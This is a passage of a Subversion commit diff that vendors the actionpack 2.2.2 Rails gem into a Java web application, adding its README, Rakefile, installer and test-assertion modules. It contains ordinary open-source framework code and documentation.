+LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION
+OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION
+WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/README
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/README	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/README	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,463 @@
+= Action Pack -- On rails from request to response
+
+Action Pack splits the response to a web request into a controller part
+(performing the logic) and a view part (rendering a template). This two-step
+approach is known as an action, which will normally create, read, update, or
+delete (CRUD for short) some sort of model part (often backed by a database)
+before choosing either to render a template or redirecting to another action.
+
+Action Pack implements these actions as public methods on Action Controllers
+and uses Action Views to implement the template rendering. Action Controllers
+are then responsible for handling all the actions relating to a certain part
+of an application. This grouping usually consists of actions for lists and for
+CRUDs revolving around a single (or a few) model objects. So ContactController
+would be responsible for listing contacts, creating, deleting, and updating
+contacts. A WeblogController could be responsible for both posts and comments.
+
+Action View templates are written using embedded Ruby in tags mingled in with
+the HTML. To avoid cluttering the templates with code, a bunch of helper
+classes provide common behavior for forms, dates, and strings. And it's easy
+to add specific helpers to keep the separation as the application evolves.
+
+Note: Some of the features, such as scaffolding and form building, are tied to
+ActiveRecord[http://activerecord.rubyonrails.org] (an object-relational
+mapping package), but that doesn't mean that Action Pack depends on Active
+Record. Action Pack is an independent package that can be used with any sort
+of backend (Instiki[http://www.instiki.org], which is based on an older version
+of Action Pack, used Madeleine for example). Read more about the role Action
+Pack can play when used together with Active Record on
+http://www.rubyonrails.org.
+
+A short rundown of the major features:
+
+* Actions grouped in controller as methods instead of separate command objects
+  and can therefore share helper methods
+
+    BlogController < ActionController::Base
+      def show
+        @customer = find_customer
+      end
+      
+      def update
+        @customer = find_customer
+        @customer.attributes = params[:customer]
+        @customer.save ? 
+          redirect_to(:action => "display") : 
+          render(:action => "edit")
+      end
+      
+      private
+        def find_customer() Customer.find(params[:id]) end
+    end
+
+  {Learn more}[link:classes/ActionController/Base.html]
+
+
+* Embedded Ruby for templates (no new "easy" template language)
+
+    <% for post in @posts %>
+      Title: <%= post.title %>
+    <% end %>
+
+    All post titles: <%= @post.collect{ |p| p.title }.join ", " %>
+
+    <% unless @person.is_client? %>
+      Not for clients to see...
+    <% end %>
+  
+  {Learn more}[link:classes/ActionView.html]
+
+
+* Builder-based templates (great for XML content, like RSS)
+
+    xml.rss("version" => "2.0") do
+      xml.channel do
+        xml.title(@feed_title)
+        xml.link(@url)
+        xml.description "Basecamp: Recent items"
+        xml.language "en-us"
+        xml.ttl "40"
+
+        for item in @recent_items
+          xml.item do
+            xml.title(item_title(item))
+            xml.description(item_description(item))
+            xml.pubDate(item_pubDate(item))
+            xml.guid(@recent_items.url(item))
+            xml.link(@recent_items.url(item))
+          end
+        end
+      end
+    end
+
+  {Learn more}[link:classes/ActionView/Base.html]
+
+
+* Filters for pre and post processing of the response (as methods, procs, and classes)
+
+    class WeblogController < ActionController::Base
+      before_filter :authenticate, :cache, :audit
+      after_filter { |c| c.response.body = Gzip::compress(c.response.body) }
+      after_filter LocalizeFilter
+      
+      def index
+        # Before this action is run, the user will be authenticated, the cache
+        # will be examined to see if a valid copy of the results already
+        # exists, and the action will be logged for auditing.
+        
+        # After this action has run, the output will first be localized then 
+        # compressed to minimize bandwidth usage
+      end
+      
+      private
+        def authenticate
+          # Implement the filter with full access to both request and response
+        end
+    end
+  
+  {Learn more}[link:classes/ActionController/Filters/ClassMethods.html]
+  
+
+* Helpers for forms, dates, action links, and text
+
+    <%= text_field "post", "title", "size" => 30 %>
+    <%= html_date_select(Date.today) %>
+    <%= link_to "New post", :controller => "post", :action => "new" %>
+    <%= truncate(post.title, 25) %>
+ 
+  {Learn more}[link:classes/ActionView/Helpers.html]
+
+
+* Layout sharing for template reuse (think simple version of Struts 
+  Tiles[http://jakarta.apache.org/struts/userGuide/dev_tiles.html])
+
+    class WeblogController < ActionController::Base
+      layout "weblog_layout"
+      
+      def hello_world
+      end
+    end
+
+    Layout file (called weblog_layout):
+      <html><body><%= yield %></body></html>
+    
+    Template for hello_world action:
+      <h1>Hello world</h1>
+    
+    Result of running hello_world action:
+      <html><body><h1>Hello world</h1></body></html>
+
+  {Learn more}[link:classes/ActionController/Layout/ClassMethods.html]
+
+
+* Routing makes pretty urls incredibly easy
+
+    map.connect 'clients/:client_name/:project_name/:controller/:action'
+
+    Accessing /clients/37signals/basecamp/project/dash calls ProjectController#dash with
+    { "client_name" => "37signals", "project_name" => "basecamp" } in params[:params]
+    
+    From that URL, you can rewrite the redirect in a number of ways:
+    
+    redirect_to(:action => "edit") =>
+      /clients/37signals/basecamp/project/dash
+
+    redirect_to(:client_name => "nextangle", :project_name => "rails") =>
+      /clients/nextangle/rails/project/dash
+
+  {Learn more}[link:classes/ActionController/Base.html]
+
+
+* Javascript and Ajax integration
+
+    link_to_function "Greeting", "alert('Hello world!')"
+    link_to_remote "Delete this post", :update => "posts", 
+                   :url => { :action => "destroy", :id => post.id }
+  
+  {Learn more}[link:classes/ActionView/Helpers/JavaScriptHelper.html]
+
+
+* Pagination for navigating lists of results
+
+    # controller
+    def list
+      @pages, @people =
+        paginate :people, :order => 'last_name, first_name'
+    end
+
+    # view
+    <%= link_to "Previous page", { :page => @pages.current.previous } if @pages.current.previous %>
+    <%= link_to "Next page", { :page => @pages.current.next } if @pages.current.next %>
+
+  {Learn more}[link:classes/ActionController/Pagination.html]
+
+
+* Easy testing of both controller and rendered template through ActionController::TestCase
+
+    class LoginControllerTest < ActionController::TestCase
+      def test_failing_authenticate
+        process :authenticate, :user_name => "nop", :password => ""
+        assert flash.has_key?(:alert)
+        assert_redirected_to :action => "index"
+      end
+    end
+
+  {Learn more}[link:classes/ActionController/TestCase.html]
+
+
+* Automated benchmarking and integrated logging
+
+    Processing WeblogController#index (for 127.0.0.1 at Fri May 28 00:41:55)
+    Parameters: {"action"=>"index", "controller"=>"weblog"}
+    Rendering weblog/index (200 OK)
+    Completed in 0.029281 (34 reqs/sec)
+
+    If Active Record is used as the model, you'll have the database debugging
+    as well:
+
+    Processing WeblogController#create (for 127.0.0.1 at Sat Jun 19 14:04:23)
+    Params: {"controller"=>"weblog", "action"=>"create",  
+             "post"=>{"title"=>"this is good"} }
+    SQL (0.000627) INSERT INTO posts (title) VALUES('this is good')
+    Redirected to http://test/weblog/display/5
+    Completed in 0.221764 (4 reqs/sec) | DB: 0.059920 (27%)
+
+    You specify a logger through a class method, such as:
+
+    ActionController::Base.logger = Logger.new("Application Log")
+    ActionController::Base.logger = Log4r::Logger.new("Application Log")
+
+
+* Caching at three levels of granularity (page, action, fragment)
+
+    class WeblogController < ActionController::Base
+      caches_page :show
+      caches_action :account
+      
+      def show
+        # the output of the method will be cached as 
+        # ActionController::Base.page_cache_directory + "/weblog/show/n.html"
+        # and the web server will pick it up without even hitting Rails
+      end
+      
+      def account
+        # the output of the method will be cached in the fragment store
+        # but Rails is hit to retrieve it, so filters are run
+      end
+      
+      def update
+        List.update(params[:list][:id], params[:list])
+        expire_page   :action => "show", :id => params[:list][:id]
+        expire_action :action => "account"
+        redirect_to   :action => "show", :id => params[:list][:id]
+      end
+    end
+
+  {Learn more}[link:classes/ActionController/Caching.html]
+
+
+* Component requests from one controller to another
+
+    class WeblogController < ActionController::Base
+      # Performs a method and then lets hello_world output its render
+      def delegate_action
+        do_other_stuff_before_hello_world
+        render_component :controller => "greeter",  :action => "hello_world"
+      end
+    end
+  
+    class GreeterController < ActionController::Base
+      def hello_world
+        render_text "Hello World!"
+      end
+    end
+  
+    The same can be done in a view to do a partial rendering:
+  
+      Let's see a greeting:
+      <%= render_component :controller => "greeter", :action => "hello_world" %>
+
+  {Learn more}[link:classes/ActionController/Components.html]
+  
+
+* Powerful debugging mechanism for local requests
+
+    All exceptions raised on actions performed on the request of a local user
+    will be presented with a tailored debugging screen that includes exception
+    message, stack trace, request parameters, session contents, and the
+    half-finished response.
+
+  {Learn more}[link:classes/ActionController/Rescue.html]
+
+
+* Scaffolding for Active Record model objects
+
+    class AccountController < ActionController::Base
+      scaffold :account
+    end
+    
+    The AccountController now has the full CRUD range of actions and default
+    templates: list, show, destroy, new, create, edit, update
+    
+  {Learn more}[link:classes/ActionController/Scaffolding/ClassMethods.html]
+
+
+* Form building for Active Record model objects
+
+    The post object has a title (varchar), content (text), and 
+    written_on (date)
+
+    <%= form "post" %>
+    
+    ...will generate something like (the selects will have more options, of
+    course):
+    
+    <form action="create" method="POST">
+      <p>
+        <b>Title:</b><br/> 
+        <input type="text" name="post[title]" value="<%= @post.title %>" />
+      </p>
+      <p>
+        <b>Content:</b><br/>
+        <textarea name="post[content]"><%= @post.title %></textarea>
+      </p>
+      <p>
+        <b>Written on:</b><br/>
+        <select name='post[written_on(3i)]'><option>18</option></select>
+        <select name='post[written_on(2i)]'><option value='7'>July</option></select>
+        <select name='post[written_on(1i)]'><option>2004</option></select>
+      </p>
+
+      <input type="submit" value="Create">
+    </form>
+
+    This form generates a params[:post] array that can be used directly in a save action:
+    
+    class WeblogController < ActionController::Base
+      def create
+        post = Post.create(params[:post])
+        redirect_to :action => "display", :id => post.id
+      end
+    end
+
+  {Learn more}[link:classes/ActionView/Helpers/ActiveRecordHelper.html]
+
+
+* Runs on top of WEBrick, Mongrel, CGI, FCGI, and mod_ruby
+
+
+== Simple example (from outside of Rails)
+
+This example will implement a simple weblog system using inline templates and
+an Active Record model. So let's build that WeblogController with just a few
+methods:
+
+  require 'action_controller'
+  require 'post'
+
+  class WeblogController < ActionController::Base
+    layout "weblog/layout"
+  
+    def index
+      @posts = Post.find(:all)
+    end
+    
+    def display
+      @post = Post.find(params[:id])
+    end
+    
+    def new
+      @post = Post.new
+    end
+    
+    def create
+      @post = Post.create(params[:post])
+      redirect_to :action => "display", :id => @post.id
+    end
+  end
+
+  WeblogController::Base.view_paths = [ File.dirname(__FILE__) ]
+  WeblogController.process_cgi if $0 == __FILE__
+
+The last two lines are responsible for telling ActionController where the
+template files are located and actually running the controller on a new
+request from the web-server (like to be Apache).
+
+And the templates look like this:
+
+  weblog/layout.erb:
+    <html><body>
+    <%= yield %>
+    </body></html>
+
+  weblog/index.erb:
+    <% for post in @posts %>
+      <p><%= link_to(post.title, :action => "display", :id => post.id %></p>
+    <% end %>
+
+  weblog/display.erb:
+    <p>
+      <b><%= post.title %></b><br/>
+      <b><%= post.content %></b>
+    </p>
+
+  weblog/new.erb:
+    <%= form "post" %>
+  
+This simple setup will list all the posts in the system on the index page,
+which is called by accessing /weblog/. It uses the form builder for the Active
+Record model to make the new screen, which in turn hands everything over to
+the create action (that's the default target for the form builder when given a
+new model). After creating the post, it'll redirect to the display page using
+an URL such as /weblog/display/5 (where 5 is the id of the post).
+
+
+== Examples
+
+Action Pack ships with three examples that all demonstrate an increasingly
+detailed view of the possibilities. First is blog_controller that is just a
+single file for the whole MVC (but still split into separate parts). Second is
+the debate_controller that uses separate template files and multiple screens.
+Third is the address_book_controller that uses the layout feature to separate
+template casing from content.
+
+Please note that you might need to change the "shebang" line to 
+#!/usr/local/env ruby, if your Ruby is not placed in /usr/local/bin/ruby
+
+Also note that these examples are all for demonstrating using Action Pack on
+its own. Not for when it's used inside of Rails.
+
+== Download
+
+The latest version of Action Pack can be found at
+
+* http://rubyforge.org/project/showfiles.php?group_id=249
+
+Documentation can be found at 
+
+* http://api.rubyonrails.com
+
+
+== Installation
+
+You can install Action Pack with the following command.
+
+  % [sudo] ruby install.rb
+
+from its distribution directory.
+
+
+== License
+
+Action Pack is released under the MIT license.
+
+
+== Support
+
+The Action Pack homepage is http://www.rubyonrails.org. You can find
+the Action Pack RubyForge page at http://rubyforge.org/projects/actionpack.
+And as Jim from Rake says:
+
+   Feel free to submit commits or feature requests.  If you send a patch,
+   remember to update the corresponding unit tests.  If fact, I prefer
+   new feature to be submitted in the form of new unit tests.
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/RUNNING_UNIT_TESTS
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/RUNNING_UNIT_TESTS	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/RUNNING_UNIT_TESTS	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,24 @@
+== Running with Rake
+
+The easiest way to run the unit tests is through Rake. The default task runs
+the entire test suite for all classes. For more information, checkout the 
+full array of rake tasks with "rake -T"
+
+Rake can be found at http://rake.rubyforge.org
+
+== Running by hand
+
+If you only want to run a single test suite, or don't want to bother with Rake,
+you can do so with something like:
+
+   ruby controller/base_tests.rb
+
+== Dependency on ActiveRecord and database setup
+
+Test cases in the test/controller/active_record/ directory depend on having
+activerecord and sqlite installed. If ActiveRecord is not in 
+actionpack/../activerecord directory, or the sqlite rubygem is not installed,
+these tests are skipped.
+
+Other tests are runnable from a fresh copy of actionpack without any configuration.
+

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/Rakefile
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/Rakefile	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/Rakefile	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,158 @@
+require 'rubygems'
+require 'rake'
+require 'rake/testtask'
+require 'rake/rdoctask'
+require 'rake/packagetask'
+require 'rake/gempackagetask'
+require 'rake/contrib/sshpublisher'
+require File.join(File.dirname(__FILE__), 'lib', 'action_pack', 'version')
+
+PKG_BUILD     = ENV['PKG_BUILD'] ? '.' + ENV['PKG_BUILD'] : ''
+PKG_NAME      = 'actionpack'
+PKG_VERSION   = ActionPack::VERSION::STRING + PKG_BUILD
+PKG_FILE_NAME = "#{PKG_NAME}-#{PKG_VERSION}"
+
+RELEASE_NAME  = "REL #{PKG_VERSION}"
+
+RUBY_FORGE_PROJECT = "actionpack"
+RUBY_FORGE_USER    = "webster132"
+
+desc "Default Task"
+task :default => [ :test ]
+
+# Run the unit tests
+
+desc "Run all unit tests"
+task :test => [:test_action_pack, :test_active_record_integration]
+
+Rake::TestTask.new(:test_action_pack) do |t|
+  t.libs << "test"
+
+  # make sure we include the tests in alphabetical order as on some systems
+  # this will not happen automatically and the tests (as a whole) will error
+  t.test_files = Dir.glob( "test/[cft]*/**/*_test.rb" ).sort
+
+  t.verbose = true
+  #t.warning = true
+end
+
+desc 'ActiveRecord Integration Tests'
+Rake::TestTask.new(:test_active_record_integration) do |t|
+  t.libs << "test"
+  t.test_files = Dir.glob("test/activerecord/*_test.rb")
+  t.verbose = true
+end
+
+
+# Genereate the RDoc documentation
+
+Rake::RDocTask.new { |rdoc|
+  rdoc.rdoc_dir = 'doc'
+  rdoc.title    = "Action Pack -- On rails from request to response"
+  rdoc.options << '--line-numbers' << '--inline-source'
+  rdoc.options << '--charset' << 'utf-8'
+  rdoc.template = ENV['template'] ? "#{ENV['template']}.rb" : '../doc/template/horo'
+  if ENV['DOC_FILES'] 
+    rdoc.rdoc_files.include(ENV['DOC_FILES'].split(/,\s*/))
+  else
+    rdoc.rdoc_files.include('README', 'RUNNING_UNIT_TESTS', 'CHANGELOG')
+    rdoc.rdoc_files.include(Dir['lib/**/*.rb'] -
+                            Dir['lib/*/vendor/**/*.rb'])
+    rdoc.rdoc_files.exclude('lib/actionpack.rb')
+  end
+}
+
+# Create compressed packages
+dist_dirs = [ "lib", "test" ]
+
+spec = Gem::Specification.new do |s|
+  s.platform = Gem::Platform::RUBY
+  s.name = PKG_NAME
+  s.version = PKG_VERSION
+  s.summary = "Web-flow and rendering framework putting the VC in MVC."
+  s.description = %q{Eases web-request routing, handling, and response as a half-way front, half-way page controller. Implemented with specific emphasis on enabling easy unit/integration testing that doesn't require a browser.} #'
+
+  s.author = "David Heinemeier Hansson"
+  s.email = "david at loudthinking.com"
+  s.rubyforge_project = "actionpack"
+  s.homepage = "http://www.rubyonrails.org"
+
+  s.has_rdoc = true
+  s.requirements << 'none'
+
+  s.add_dependency('activesupport', '= 2.2.2' + PKG_BUILD)
+
+  s.require_path = 'lib'
+  s.autorequire = 'action_controller'
+
+  s.files = [ "Rakefile", "install.rb", "README", "RUNNING_UNIT_TESTS", "CHANGELOG", "MIT-LICENSE" ]
+  dist_dirs.each do |dir|
+    s.files = s.files + Dir.glob( "#{dir}/**/*" ).delete_if { |item| item.include?( "\.svn" ) }
+  end
+end
+  
+Rake::GemPackageTask.new(spec) do |p|
+  p.gem_spec = spec
+  p.need_tar = true
+  p.need_zip = true
+end
+
+task :lines do
+  lines, codelines, total_lines, total_codelines = 0, 0, 0, 0
+
+  for file_name in FileList["lib/**/*.rb"]
+    next if file_name =~ /vendor/
+    f = File.open(file_name)
+
+    while line = f.gets
+      lines += 1
+      next if line =~ /^\s*$/
+      next if line =~ /^\s*#/
+      codelines += 1
+    end
+    puts "L: #{sprintf("%4d", lines)}, LOC #{sprintf("%4d", codelines)} | #{file_name}"
+    
+    total_lines     += lines
+    total_codelines += codelines
+    
+    lines, codelines = 0, 0
+  end
+
+  puts "Total: Lines #{total_lines}, LOC #{total_codelines}"
+end
+
+# Publishing ------------------------------------------------------
+
+task :update_scriptaculous do
+  for js in %w( controls dragdrop effects )
+    system("svn export --force http://dev.rubyonrails.org/svn/rails/spinoffs/scriptaculous/src/#{js}.js #{File.dirname(__FILE__)}/lib/action_view/helpers/javascripts/#{js}.js")
+  end
+end
+
+desc "Updates actionpack to the latest version of the javascript spinoffs"
+task :update_js => [ :update_scriptaculous ]
+
+# Publishing ------------------------------------------------------
+
+desc "Publish the API documentation"
+task :pgem => [:package] do 
+  Rake::SshFilePublisher.new("gems.rubyonrails.org", "/u/sites/gems/gems", "pkg", "#{PKG_FILE_NAME}.gem").upload
+  `ssh gems.rubyonrails.org '/u/sites/gems/gemupdate.sh'`
+end
+
+desc "Publish the API documentation"
+task :pdoc => [:rdoc] do 
+  Rake::SshDirPublisher.new("wrath.rubyonrails.org", "public_html/ap", "doc").upload
+end
+
+desc "Publish the release files to RubyForge."
+task :release => [ :package ] do
+  require 'rubyforge'
+  require 'rake/contrib/rubyforgepublisher'
+
+  packages = %w( gem tgz zip ).collect{ |ext| "pkg/#{PKG_NAME}-#{PKG_VERSION}.#{ext}" }
+
+  rubyforge = RubyForge.new
+  rubyforge.login
+  rubyforge.add_release(PKG_NAME, PKG_NAME, "REL #{PKG_VERSION}", *packages)
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/install.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/install.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/install.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,30 @@
+require 'rbconfig'
+require 'find'
+require 'ftools'
+
+include Config
+
+# this was adapted from rdoc's install.rb by way of Log4r
+
+$sitedir = CONFIG["sitelibdir"]
+unless $sitedir
+  version = CONFIG["MAJOR"] + "." + CONFIG["MINOR"]
+  $libdir = File.join(CONFIG["libdir"], "ruby", version)
+  $sitedir = $:.find {|x| x =~ /site_ruby/ }
+  if !$sitedir
+    $sitedir = File.join($libdir, "site_ruby")
+  elsif $sitedir !~ Regexp.quote(version)
+    $sitedir = File.join($sitedir, version)
+  end
+end
+
+# the actual gruntwork
+Dir.chdir("lib")
+
+Find.find("action_controller", "action_controller.rb", "action_view", "action_view.rb") { |f|
+  if f[-3..-1] == ".rb"
+    File::install(f, File.join($sitedir, *f.split(/\//)), 0644, true)
+  else
+    File::makedirs(File.join($sitedir, *f.split(/\//)))
+  end
+}
\ No newline at end of file

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions/dom_assertions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions/dom_assertions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions/dom_assertions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,39 @@
+module ActionController
+  module Assertions
+    module DomAssertions
+      # Test two HTML strings for equivalency (e.g., identical up to reordering of attributes)
+      #
+      # ==== Examples
+      #
+      #   # assert that the referenced method generates the appropriate HTML string
+      #   assert_dom_equal '<a href="http://www.example.com">Apples</a>', link_to("Apples", "http://www.example.com")
+      #
+      def assert_dom_equal(expected, actual, message = "")
+        clean_backtrace do
+          expected_dom = HTML::Document.new(expected).root
+          actual_dom   = HTML::Document.new(actual).root
+          full_message = build_message(message, "<?> expected to be == to\n<?>.", expected_dom.to_s, actual_dom.to_s)
+
+          assert_block(full_message) { expected_dom == actual_dom }
+        end
+      end
+      
+      # The negated form of +assert_dom_equivalent+.
+      #
+      # ==== Examples
+      #
+      #   # assert that the referenced method does not generate the specified HTML string
+      #   assert_dom_not_equal '<a href="http://www.example.com">Apples</a>', link_to("Oranges", "http://www.example.com")
+      #
+      def assert_dom_not_equal(expected, actual, message = "")
+        clean_backtrace do
+          expected_dom = HTML::Document.new(expected).root
+          actual_dom   = HTML::Document.new(actual).root
+          full_message = build_message(message, "<?> expected to be != to\n<?>.", expected_dom.to_s, actual_dom.to_s)
+
+          assert_block(full_message) { expected_dom != actual_dom }
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions/model_assertions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions/model_assertions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions/model_assertions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,20 @@
+module ActionController
+  module Assertions
+    module ModelAssertions
+      # Ensures that the passed record is valid by Active Record standards and
+      # returns any error messages if it is not.
+      #
+      # ==== Examples
+      #
+      #   # assert that a newly created record is valid
+      #   model = Model.new
+      #   assert_valid(model)
+      #
+      def assert_valid(record)
+        clean_backtrace do
+          assert record.valid?, record.errors.full_messages.join("\n")
+        end
+      end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions/response_assertions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions/response_assertions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions/response_assertions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,123 @@
+require 'rexml/document'
+require 'html/document'
+
+module ActionController
+  module Assertions
+    # A small suite of assertions that test responses from Rails applications.
+    module ResponseAssertions
+      # Asserts that the response is one of the following types:
+      #
+      # * <tt>:success</tt>   - Status code was 200
+      # * <tt>:redirect</tt>  - Status code was in the 300-399 range
+      # * <tt>:missing</tt>   - Status code was 404
+      # * <tt>:error</tt>     - Status code was in the 500-599 range
+      #
+      # You can also pass an explicit status number like assert_response(501)
+      # or its symbolic equivalent assert_response(:not_implemented).
+      # See ActionController::StatusCodes for a full list.
+      #
+      # ==== Examples
+      #
+      #   # assert that the response was a redirection
+      #   assert_response :redirect 
+      #
+      #   # assert that the response code was status code 401 (unauthorized)
+      #   assert_response 401
+      #
+      def assert_response(type, message = nil)
+        clean_backtrace do
+          if [ :success, :missing, :redirect, :error ].include?(type) && @response.send("#{type}?")
+            assert_block("") { true } # to count the assertion
+          elsif type.is_a?(Fixnum) && @response.response_code == type
+            assert_block("") { true } # to count the assertion
+          elsif type.is_a?(Symbol) && @response.response_code == ActionController::StatusCodes::SYMBOL_TO_STATUS_CODE[type]
+            assert_block("") { true } # to count the assertion
+          else
+            if @response.error?
+              exception = @response.template.instance_variable_get(:@exception)
+              exception_message = exception && exception.message
+              assert_block(build_message(message, "Expected response to be a <?>, but was <?>\n<?>", type, @response.response_code, exception_message.to_s)) { false }
+            else
+              assert_block(build_message(message, "Expected response to be a <?>, but was <?>", type, @response.response_code)) { false }
+            end
+          end
+        end
+      end
+
+      # Assert that the redirection options passed in match those of the redirect called in the latest action. 
+      # This match can be partial, such that assert_redirected_to(:controller => "weblog") will also
+      # match the redirection of redirect_to(:controller => "weblog", :action => "show") and so on.
+      #
+      # ==== Examples
+      #
+      #   # assert that the redirection was to the "index" action on the WeblogController
+      #   assert_redirected_to :controller => "weblog", :action => "index"
+      #
+      #   # assert that the redirection was to the named route login_url
+      #   assert_redirected_to login_url
+      #
+      #   # assert that the redirection was to the url for @customer
+      #   assert_redirected_to @customer
+      #
+      def assert_redirected_to(options = {}, message=nil)
+        clean_backtrace do
+          assert_response(:redirect, message)
+          return true if options == @response.redirected_to
+          
+          # Support partial arguments for hash redirections
+          if options.is_a?(Hash) && @response.redirected_to.is_a?(Hash)
+            return true if options.all? {|(key, value)| @response.redirected_to[key] == value}
+          end
+          
+          redirected_to_after_normalisation = normalize_argument_to_redirection(@response.redirected_to)
+          options_after_normalisation       = normalize_argument_to_redirection(options)
+
+          if redirected_to_after_normalisation != options_after_normalisation
+            flunk "Expected response to be a redirect to <#{options_after_normalisation}> but was a redirect to <#{redirected_to_after_normalisation}>"
+          end
+        end
+      end
+
+      # Asserts that the request was rendered with the appropriate template file.
+      #
+      # ==== Examples
+      #
+      #   # assert that the "new" view template was rendered
+      #   assert_template "new"
+      #
+      def assert_template(expected = nil, message=nil)
+        clean_backtrace do
+          rendered = @response.rendered_template.to_s
+          msg = build_message(message, "expecting <?> but rendering with <?>", expected, rendered)
+          assert_block(msg) do
+            if expected.nil?
+              @response.rendered_template.blank?
+            else
+              rendered.to_s.match(expected)
+            end
+          end
+        end
+      end
+
+      private
+
+        # Proxy to to_param if the object will respond to it.
+        def parameterize(value)
+          value.respond_to?(:to_param) ? value.to_param : value
+        end
+
+        def normalize_argument_to_redirection(fragment)
+          after_routing = @controller.url_for(fragment)
+          if after_routing =~ %r{^\w+://.*}
+            after_routing
+          else
+            # FIXME - this should probably get removed.
+            if after_routing.first != '/'
+              after_routing = '/' + after_routing
+            end
+            @request.protocol + @request.host_with_port + after_routing
+          end
+        end
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions/routing_assertions.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions/routing_assertions.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/actionpack-2.2.2/lib/action_controller/assertions/routing_assertions.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,146 @@
+module ActionController
+  module Assertions
+    # Suite of assertions to test routes generated by Rails and the handling of requests made to them.
+    module RoutingAssertions
+      # Asserts that the routing of the given +path+ was handled correctly and that the parsed options (given in the +expected_options+ hash)
+      # match +path+.  Basically, it asserts that Rails recognizes the route given by +expected_options+.
+      #
+      # Pass a hash in the second argument (+path+) to specify the request method.  This is useful for routes
+      # requiring a specific HTTP method.  The hash should contain a :path with the incoming request path
+      # and a :method containing the required HTTP verb.
+      #
+      #   # assert that POSTing to /items will call the create action on ItemsController
+      #   assert_recognizes {:controller => 'items', :action => 'create'}, {:path => 'items', :method => :post}
+      #
+      # You can also pass in +extras+ with a hash containing URL parameters that would normally be in the query string.  This can be used
+      # to assert that values in the query string string will end up in the params hash correctly.  To test query strings you must use the
+      # extras argument, appending the query string on the path directly will not work.  For example:
+      #
+      #   # assert that a path of '/items/list/1?view=print' returns the correct options
+      #   assert_recognizes {:controller => 'items', :action => 'list', :id => '1', :view => 'print'}, 'items/list/1', { :view => "print" }
+      #
+      # The +message+ parameter allows you to pass in an error message that is displayed upon failure.
+      #
+      # ==== Examples
+      #   # Check the default route (i.e., the index action)
+      #   assert_recognizes {:controller => 'items', :action => 'index'}, 'items'
+      #
+      #   # Test a specific action
+      #   assert_recognizes {:controller => 'items', :action => 'list'}, 'items/list'
+      #
+      #   # Test an action with a parameter
+      #   assert_recognizes {:controller => 'items', :action => 'destroy', :id => '1'}, 'items/destroy/1'
+      #
+      #   # Test a custom route
+      #   assert_recognizes {:controller => 'items', :action => 'show', :id => '1'}, 'view/item1'
+      #
+      #   # Check a Simply RESTful generated route
+      #   assert_recognizes list_items_url, 'items/list'
+      def assert_recognizes(expected_options, path, extras={}, message=nil)
+        if path.is_a? Hash
+          request_method = path[:method]
+          path           = path[:path]
+        else
+          request_method = nil
+        end
+
+        clean_backtrace do
+          ActionController::Routing::Routes.reload if ActionController::Routing::Routes.empty?
+          request = recognized_request_for(path, request_method)
+
+          expected_options = expected_options.clone
+          extras.each_key { |key| expected_options.delete key } unless extras.nil?
+
+          expected_options.stringify_keys!
+          routing_diff = expected_options.diff(request.path_parameters)
+          msg = build_message(message, "The recognized options <?> did not match <?>, difference: <?>",
+              request.path_parameters, expected_options, expected_options.diff(request.path_parameters))
+          assert_block(msg) { request.path_parameters == expected_options }
+        end
+      end
+
+      # Asserts that the provided options can be used to generate the provided path.  This is the inverse of +assert_recognizes+.
